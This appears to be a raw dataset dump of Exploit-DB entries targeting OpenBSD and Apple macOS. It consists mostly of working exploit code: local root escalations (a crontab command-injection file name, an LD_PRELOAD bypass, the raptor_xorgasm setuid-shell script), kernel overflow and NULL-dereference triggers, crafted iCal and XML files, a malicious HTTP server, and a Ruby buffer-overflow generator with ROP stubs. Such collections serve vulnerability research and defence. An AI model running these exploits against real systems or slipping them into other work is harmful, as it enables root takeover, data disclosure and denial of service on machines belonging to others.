deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8406
Description: OpenBSD 4.5 - IP datagrams Remote Denial of Service
Type: dos
Platform: openbsd
Date: 2009-04-13
Author: Rembrandt

Exploit:
                     _   _ _____ _     ___ _____ _   _
                   / / / / ____/ /   /  _/_  __/ / / /
                  / /_/ / __/ / /    / /  / / / /_/ /
                 / __  / /___/ /____/ /  / / / __  /
                /_/ /_/_____/_____/___/ /_/ /_/ /_/
                           Helith - 0815
--------------------------------------------------------------------------------

Author		 : Rembrandt
Date		 : 2009-04-09
Affected Software: OpenBSD Kernel
Affected OS	 : OpenBSD 4.{3,4,5}, OpenBSD-current
		   Propably older versions are affected as well
Type		 : Denial of Service

OSVDB		 : 
Milw0rm		 : 
CVE		 : 
ISS X-Force:	 : 
BID		 : 
Secunia		 : 34676 
VUPEN ID	 : 

Trying to fix it responsible and get in contact with the vendor:

-- OpenBSD --
Contacted 		2009-04-09 15:35 GMT+1
Patch avaiable		2009-04-11 23:43 UTC

We received no response nor a notification about an upcoming patch by
the developers.
-- END --

OpenBSDs PF firewall in OpenBSD 4.3 up to OpenBSD-current is prone to a 
remote Denial of Service during a null pointer dereference in relation with
special crafted IP datagrams. If the firewall handles such a packet the kernel
panics.


Steps to reproduce:

If you are behind a OpenBSD firewall this nmap scan should trigger the problem
and crash your firewall device:

nmap -sO $some_host_so_that_the_firewall_handles_the_packets

For more informations please do read the patch issued by OpenBSD.


Patches and Workaround:

Patches are provided for OpenBSD 4.3, 4.4, 4.5 (upcoming, release 1st of may)
and OpenBSD-current (via CVS only) and are avaiable at the errata website.
The developers provide hints for a workaround at their errata website too.



Kind regards,
Rembrandt

# milw0rm.com [2009-04-13]
Exploit-DB #21373
Description: OpenBSD 2.9/3.0 - Default Crontab Root Command Injection
Type: local
Platform: openbsd
Date: 2002-04-11
Author: Przemyslaw Frasunek

Exploit:
/*
source: https://www.securityfocus.com/bid/4495/info

OpenBSD ships with a number of cron jobs configured by default. The tasks are for the purpose of summarizing system information.

The mail(1) utility is used to send the summaries to the root user. This utility supports escaped characters in message text indicating commands to be executed during processing.

If attacker-supplied data can be included in the message text passed to mail(1), commands specified by the attacker may be executed as root. If the attacker embeds the escape sequence followed by an arbitrary command in this data, the commands will be executed as root when the cron task runs. It is possible for an attacker to embed data in filenames, which are included in the emails. 
*/

/*
 * (c) 2002 venglin@freebsd.lublin.pl
 *
 * OpenBSD 3.0 (before 08 Apr 2002)
 * /etc/security + /usr/bin/mail local root exploit
 *
 * Run the exploit and wait for /etc/daily executed from crontab.
 * /bin/sh will be suid root next day morning.
 *
 * Credit goes to urbanek@openbsd.cz for discovering vulnerability.
 *
 */

#include <fcntl.h>

int main(void)
{
        int fd;

        chdir("/tmp");
        fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

        if (fd)
                close(fd);
}
Exploit-DB #22210
Description: OpenBSD 2.x/3.x - CHPass Temporary File Link File Content Revealing
Type: local
Platform: openbsd
Date: 2003-02-03
Author: Marc Bevand

Exploit:
source: https://www.securityfocus.com/bid/6748/info

It has been reported that a problem with chpass included with OpenBSD may allow local users to gain access to the content of specific files. This vulnerability requires that lines in the target file be constructed in a specific format. This problem also affects the chfn and chsh programs which are hard links to the chpass binary.

# echo "shell: secret_data" >/tmp/sec
# chmod 600 /tmp/sec
$ chpass # ^Z in the editor
[1]+ Stopped chpass
$ rm /var/tmp/pw.Loi22925
$ ln /tmp/sec /var/tmp/pw.Loi22925
$ fg # then quit the editor
chpass
chpass: secret_data: non-standard shell
Exploit-DB #23046
Description: OpenBSD 3.3 - 'Semget()' Integer Overflow (1)
Type: local
Platform: openbsd
Date: 2003-08-20
Author: blexim

Exploit:
// source: https://www.securityfocus.com/bid/8464/info

A vulnerability has been discovered in the OpenBSD semget() system call. The problem occurs due to insufficient sanity checks before allocating memory using the user-supplied nsems value as an argument. As a result, an attacker may be capable of modifying the running kernel.

This vulnerability was introduced in OpenBSD 3.3 and as such, no other versions are affected.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int main(void){
	int sem, nsems, ret;
	int sys_name[3], old_semmns, semmns, old_semmsl, semmsl;
	size_t old_size;

	/*
	 * 357913942 * 12 = 100000008 (rounds to 8), so the buffer is 8 bytes
	 * long.
	 */

	nsems = 357913942;

	/* set the max semaphores allowed so that nsems is valid */

	sys_name[0] = CTL_KERN;
	sys_name[1] = KERN_SEMINFO;
	sys_name[2] = KERN_SEMINFO_SEMMNS;
	old_size = sizeof(old_semmns);

	ret = sysctl(sys_name, 3, &old_semmns, &old_size, NULL, NULL);

	if(ret < 0){
		perror("sysctl(get semmns)");
		return 1;
	}

	semmns = old_semmns + nsems;

	ret = sysctl(sys_name, 3, &old_semmns, &old_size, &semmns,
		sizeof(semmns));

	if(ret < 0){
		perror("sysctl(semmns)");
		return 1;
	}

	sys_name[0] = CTL_KERN;
	sys_name[1] = KERN_SEMINFO;
	sys_name[2] = KERN_SEMINFO_SEMMSL;
	old_size = sizeof(old_semmsl);

	ret = sysctl(sys_name, 3, &old_semmsl, &old_size, NULL, NULL);

	if(ret < 0){
		perror("sysctl(get semmsl)");
		return 1;
	}

	semmsl = old_semmsl + nsems;

	ret = sysctl(sys_name, 3, &old_semmsl, &old_size, &semmsl,
		sizeof(semmsl));

	if(ret < 0){
		perror("sysctl(semmsl)");
		return 1;
	}

	sem = semget(IPC_PRIVATE, nsems, IPC_CREAT);

	if(sem < 0){
		perror("semget");
		return 1;
	}

	printf("Successfully got a semaphore\n");
	printf("id = %d\n", sem);

	return 0;
}
Exploit-DB #29102
Description: OpenBSD 3.9/4.0 - 'ld.so' Local Environment Variable Clearing
Type: local
Platform: openbsd
Date: 2006-11-20
Author: Mark Dowd

Exploit:
/*
source: https://www.securityfocus.com/bid/21188/info

OpenBSD is prone to a local vulnerability that may allow attackers to pass malicious environment variables to applications, bypassing expected security restrictions.

Attackers may be able to exploit this issue to execute arbitrary code with elevated privileges. 

This issue affects OpenBSD 3.9 and 4.0; prior versions may also be affected.
*/

// Example Code
// -------------
// vulnerable root-suid program example:

main()
{
 setuid(0);
 execl("/usr/bin/id","id",0);
}



// evil shared library:

__attribute__ ((constructor)) main()
{
  printf("[+] Hello from shared library land\n");
  execle("/bin/sh","sh",0,0);
}



// openbsd _dl_unsetenv bypass:

#define LIB "LD_PRELOAD=/tmp/lib.so"
main(int argc, char *argv[])
{
  char *e[] = { LIB, LIB, 0 };
  int i; for(i = 0; argv[i]; argv[i] = argv[++i]); /* inspired by
 _dl_unsetenv (: */
  execve(argv[0], argv, e);
}
Exploit-DB #45742
Description: xorg-x11-server 1.20.3 - Privilege Escalation
Type: local
Platform: openbsd
Date: 2018-10-30
Author: Marco Ivaldi

Exploit:
# Exploit Title: xorg-x11-server 1.20.3 - Privilege Escalation
# Date: 2018-10-27
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.x.org/
# Version: xorg-x11-server 1.19.0 - 1.20.2
# Tested on: OpenBSD 6.3 and 6.4
# CVE : CVE-2018-14665

# raptor_xorgasm

#!/bin/sh

#
# raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron
# Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 
# check for -modulepath and -logfile options when starting Xorg. X server 
# allows unprivileged users with the ability to log in to the system via 
# physical console to escalate their privileges and run arbitrary code under 
# root privileges (CVE-2018-14665).
#
# This exploit targets OpenBSD's cron in order to escalate privileges to
# root on OpenBSD 6.3 and 6.4. You don't need to be connected to a physical
# console, it works perfectly on pseudo-terminals connected via SSH as well.
#
# See also:
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html
# https://www.exploit-db.com/exploits/45697/
# https://gist.github.com/0x27/d8aae5de44ed385ff2a3d[PII_REDACTED]0
#
# Usage:
# blobfish$ chmod +x raptor_xorgasm
# blobfish$ ./raptor_xorgasm
# [...]
# Be patient for a couple of minutes...
# [...]
# Don't forget to cleanup and run crontab -e to reload the crontab.
# -rw-r--r--  1 root  wheel  47327 Oct 27 14:48 /etc/crontab
# -rwsrwxrwx  1 root  wheel  7417 Oct 27 14:50 /usr/local/bin/pwned
# blobfish# id
# uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# OpenBSD 6.4 (Xorg 1.19.6) [tested]
# OpenBSD 6.3 (Xorg 1.19.6) [tested]
#

echo "raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron"
echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>"

# prepare the payload
cat << EOF > /tmp/xorgasm
cp /bin/sh /usr/local/bin/pwned # fallback in case gcc is not available
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c
gcc /tmp/pwned.c -o /usr/local/bin/pwned # most dirs are mounted nosuid
chmod 4777 /usr/local/bin/pwned
EOF
chmod +x /tmp/xorgasm

# trigger the bug
cd /etc
Xorg -fp "* * * * * root /tmp/xorgasm" -logfile crontab :1 &
sleep 5
pkill Xorg

# run the setuid shell
echo
echo "Be patient for a couple of minutes..."
echo
sleep 120
echo
echo "Don't forget to cleanup and run crontab -e to reload the crontab."
ls -l /etc/crontab*
ls -l /usr/local/bin/pwned
/usr/local/bin/pwned
Exploit-DB #22858
Description: OpenBSD 3.x - PF RDR Network Information Leakage
Type: remote
Platform: openbsd
Date: 2003-07-02
Author: Ed3f

Exploit:
source: https://www.securityfocus.com/bid/8082/info

OpenBSD PF is prone to an information leakage vulnerability when configured to redirect incoming traffic from standard ports to high ports. This occurs because PF responds different to packets destined for active private addresses than to those destined for inactive ones. This could be exploited to enumerate network resources for other network segments in preparation for further attacks.

nmap -sS -P0 -n -T 4 -p 25 10.0.0.0/8

nmap -sS -P0 -n -T 4 -p 25,8025,1025,2500 10.0.0.0/8
Exploit-DB #3200
Description: Apple CFNetwork - HTTP Response Denial of Service
Type: dos
Platform: osx
Date: 2007-01-25
Author: MoAB

Exploit:
#!/usr/bin/ruby
# (c) Copyright 2007 Lance M. Havok <lmh [at] info-pull.com>
# Proof of concept for MOAB-25-01-2007.
#

require 'socket'

web_port = (ARGV[0] || 80).to_i

puts "++ Starting HTTP server at port #{web_port}."
web_server  = TCPServer.new(nil, web_port)
while (session = web_server.accept)
  rand_clen = rand(80)
  useragent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0].chomp!
  puts "++ Connected: #{useragent}"
  session.print "HTTP/1.1 301 OK\r\n"
  session.print "Content-Type: text/html\r\n"
  session.print "Content-Length: #{rand_clen}\r\n"
  session.print "Location: http://nonexistent123\r\n\r\n"
  session.print "X" * rand_clen
  session.close
end

# milw0rm.com [2007-01-25]
Exploit-DB #15491
Description: Apple Directory Services - Memory Corruption
Type: dos
Platform: osx
Date: 2010-11-11
Author: Rodrigo Rubira

Exploit:
Apple Directory Services Memory Corruption
CVE-2010-1840


INTRODUCTION

chfn, chpass and chsh dos not properly parse authname switch ("-u"), which causes the applications to crash when parsing a long string. Those binaries are setuid root by default.

This problem was confirmed in the following versions of Apple binaries and MacOS, other versions may be also affected: 

Apple Mac OS X 10.5.8 32bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh
Apple Mac OS X 10.6.2 64bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh


CVSS Scoring System

The CVSS score is: 3.3
	Base Score: 4.2
	Temporal Score: 3.3
We used the following values to calculate the scores:
	Base score is: AV:L/AC:L/Au:R/C:C/I:C/A:C
	Temporal score is: E:POC/RL:OF/RC:C


TRIGGERING THE PROBLEM

/usr/bin/chfn -u `perl -e 'print "A" x 3000'`
/usr/bin/chsh -u `perl -e 'print "A" x 3000'`
/usr/bin/chpass -u `perl -e 'print "A" x 3000'`


DETAILS

Disassembly:

0x92237215 <CFArrayGetValueAtIndex+101>:	mov    $0x28,%al
0x92237217 <CFArrayGetValueAtIndex+103>:	cmp    $0xc,%ecx
0x9223721a <CFArrayGetValueAtIndex+106>:	mov    $0x14,%dl
0x9223721c <CFArrayGetValueAtIndex+108>:	cmovne %edx,%eax
0x9223721f <CFArrayGetValueAtIndex+111>:	add    %esi,%eax
0x92237221 <CFArrayGetValueAtIndex+113>:	mov    0xc(%ebp),%edx
0x92237224 <CFArrayGetValueAtIndex+116>:	lea    (%eax,%edx,4),%eax
0x92237227 <CFArrayGetValueAtIndex+119>:	mov    (%eax),%eax <----- Crash here.

(gdb) x/i $pc
0x92237227 <CFArrayGetValueAtIndex+119>:	mov    (%eax),%eax
(gdb) i r $eax
eax            0x585d[PII_REDACTED]6
(gdb) bt
#0  0x92237227 in CFArrayGetValueAtIndex ()
#1  0x9225c46b in _CFBundleTryOnePreferredLprojNameInDirectory ()
#2  0x9225d80c in _CFBundleAddPreferredLprojNamesInDirectory ()
#3  0x9224b7b0 in _CFBundleGetLanguageSearchList ()
#4  0x9225d8da in _CFBundleAddPreferredLprojNamesInDirectory ()
#5  0x9224b7b0 in _CFBundleGetLanguageSearchList ()
#6  0x9225b50c in CFBundleCopyResourceURL ()
#7  0x9225bb32 in CFBundleCopyLocalizedString ()
#8  0x903633eb in _ODNodeSetCredentials ()
#9  0x90369813 in ODRecordSetNodeCredentials ()
#10 0x000044be in ?? ()
#11 0x000026ac in ?? ()
#12 0x000022ee in ?? ()


The MacOS Heap Protection mechanisms mitigates the impact of this vulnerability.


CREDITS

This vulnerability was researched by Rodrigo Rubira Branco from Check Point Vulnerability Discovery Team (VDT).

ACKNOWLEDGES

Many thanks to Rafael Silva who brought the issue in chfn binary to our attention.




--
Rodrigo Rubira Branco
Senior Security Researcher
Vulnerability Discovery Team (VDT)
Check Point Software Technologies
http://www.checkpoint.com/defense
Exploit-DB #31620
Description: Apple iCal 3.0.1 - 'ATTACH' Denial of Service
Type: dos
Platform: osx
Date: 2008-04-21
Author: Core Security Technologies

Exploit:
source: https://www.securityfocus.com/bid/28633/info

Apple iCal is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input data.

Successful exploits will crash the application. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

iCal 3.0.1 is vulnerable; other versions may also be affected.

/----------- 

BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME:evento falso
VERSION:2.0
X-WR-RELCALID:71CE8EAD-380B-4EA3-A123-60F9B2A03990
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:11
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T143420Z
SUMMARY:evento falso
DTEND;TZID=America/Buenos_Aires:20071225T010000
LOCATION:donde se hace
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
TRANSP:OPAQUE
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
URL;VALUE=URI:http://pepe.com:443/pepe
ATTACH;FMTTYPE=text/php;X-APPLE-CACHED=1:ical://attachments/4E3646DE-ED2
0-449C-88E7-744E62BC8C12/651D31BE-455E-45ED-99C6-55B9F03A3FA9/popote.php
CREATED:20071213T142720Z
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION:DISPLAY
DESCRIPTION:Event reminder
TRIGGER:-PT15H
END:VALARM
BEGIN:VALARM
X-WR-ALARMUID:F54A0E05-57B8-4562-8E77-056B19305CD0
ACTION:AUDIO
TRIGGER:-PT15M
ATTACH;VALUE=URI:S=osumi
END:VALARM
END:VEVENT
END:VCALENDAR
  
-----------/
Exploit-DB #31619
Description: Apple iCal 3.0.1 - 'TRIGGER' Denial of Service
Type: dos
Platform: osx
Date: 2008-04-21
Author: Rodrigo Carvalho

Exploit:
source: https://www.securityfocus.com/bid/28632/info

Apple iCal is prone to a denial-of-service vulnerability because it fails to handle specially crafted files.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.

BEGIN:VCALENDAR
X-WR-CALNAME:Fake event
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
VERSION:2.0
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:10
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T124414Z
SUMMARY:Fake Event
DTEND;TZID=America/Buenos_Aires:20071225T010000
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
TRANSP:OPAQUE
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION:DISPLAY
DESCRIPTION:Event reminder
TRIGGER:-PT65535H
END:VALARM
END:VEVENT
END:VCALENDAR
Exploit-DB #3166
Description: Apple iChat 3.1.6 441 - 'aim://' URL Handler Format String (PoC)
Type: dos
Platform: osx
Date: 2007-01-21
Author: MoAB

Exploit:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
	<head>
		<title>MOAB-20-01-2007</title>
		<script>
			function boom() {
				var str = '';
				for (var i = 0; i < 20; i++) {
				    str = str + escape('A%n');
				}
				str = 'aim:gochat?roomname=' + str;
				window.location = str;
			}
		</script>
	</head>
	<body onload="boom()">
	</body>
</html>

# milw0rm.com [2007-01-21]
Exploit-DB #29532
Description: Apple Installer Package 2.1.5 - Filename Format String
Type: dos
Platform: osx
Date: 2007-01-27
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/22272/info

Apple Installer is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly allow the attacker to execute arbitrary code. This may facilitate unauthorized access or privilege escalation in the context of the user running the application.

Apple Installer Version 2.1.5 on Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected. 

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg
Exploit-DB #29616
Description: Apple iTunes 7.0.2 - XML Parsing Remote Denial of Service
Type: dos
Platform: osx
Date: 2007-02-19
Author: poplix

Exploit:
source: https://www.securityfocus.com/bid/22615/info

Apple iTunes is prone to a remote denial-of-service vulnerability because the application fails to handle malformed XML playlist files.

An attacker can exploit this issue to crash the application, triggering a denial-of-service condition.

Apple iTunes version 7.0.2 for Intel and PowerPC are vulnerable to this issue; other versions may also be affected. 

<?die with your boots on?>
<kb:station_record>
<kb:station_url_record>
</kb:station_url_record>
Exploit-DB #33235
Description: Apple iTunes 9.0 - '.pls' Buffer Overflow
Type: dos
Platform: osx
Date: 2009-09-22
Author: Roger Hart

Exploit:
source: https://www.securityfocus.com/bid/36478/info

Apple iTunes is prone to a buffer-overflow vulnerability because the software fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Apple iTunes 9.0.1 are vulnerable. 

#!/usr/bin/env ruby
 
SETJMP = 0x92F04224
JMP_BUF = 0x8fe31290
STRDUP = 0x92EED110
# 8fe24459 jmp *%eax
JMP_EAX = 0x8fe24459
 
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
exec_payload_from_heap_stub =
frag0 +
[SETJMP, JMP_BUF + 32, JMP_BUF].pack("V3") +
frag1 +
"X" * 20 +
[SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP,
JMP_EAX].pack("V5") +
"X" * 4
end
 
payload_cmd = "hereisthetrick"
stub = make_exec_payload_from_heap_stub()
ext = "A" * 59
stub = make_exec_payload_from_heap_stub()
exploit = ext + stub + payload_cmd
 
# pls file format
 
file = "[playlist]\n"
file += "NumberOfEntries=1\n"
file += "File1=http://1/asdf." + exploit + "\n"
file += "Title1=asdf\n"
file += "Length1=100\n"
file += "Version=2" + '\n'
 
File.open('poc.pls','w') do |f|
f.puts file
f.close
end
Exploit-DB #39376
Description: Apple Mac OSX - IOSCSIPeripheralDeviceType00 Userclient Type 12 Kernel NULL Dereference
Type: dos
Platform: osx
Date: 2016-01-28
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=562

Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.

Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/

// ianbeer
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0

/*
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference

Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int main() {
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }


  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), 12, &conn);  // <-- userclient type 12
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  printf("boom?\n");

  return 0;
}